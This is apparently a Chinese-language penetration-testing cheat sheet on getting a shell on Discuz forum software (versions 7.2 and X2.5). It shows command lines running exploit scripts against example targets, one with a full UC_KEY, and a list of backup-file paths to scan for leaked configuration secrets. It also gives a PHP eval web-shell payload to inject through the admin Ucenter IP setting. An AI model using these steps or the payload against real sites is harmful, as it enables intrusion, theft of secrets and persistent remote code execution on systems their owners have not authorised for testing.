跳转至

discuz

7.2

/用DZ7.2.php getshell/

python DZ7.2.py http://www.waitalone.cn 10

x2.5

/通过uc_key getshell/

通常可以通过扫描这些文件获取Discuz的UC_KEY

/config/config_global.php.bak

/config/config.php.bak

/config/config_ucenter.php.bak

/uc_server/data/config.inc.php.bak

/config/config_global.php.zip

/config/config_global.php.rar

/config/config_global.tar.gz

/uc_server/data/config.inc.php.zip

/wwwroot.zip

/wwwroot.rar

/www.rar

/www.zip

/web.rar

/web.zip

/webbak.zip

UC_KEY在config/config_ucenter.php里面

拿到uc_key,使用discuzX2.5.py getshell

python discuzX2.5.py http://192.168.22.131:801/ibD5xe89G9eb93f0N1Mf02Gc05Rauak0a9pab663z7Lec038S6iet3neU2y0VfR9

标黑的是uc_key

/后台getshell/

在后台→站长→Ucenter设置处设置UcenterIP为

XX\');eval($_POST[a])?>;// XX

img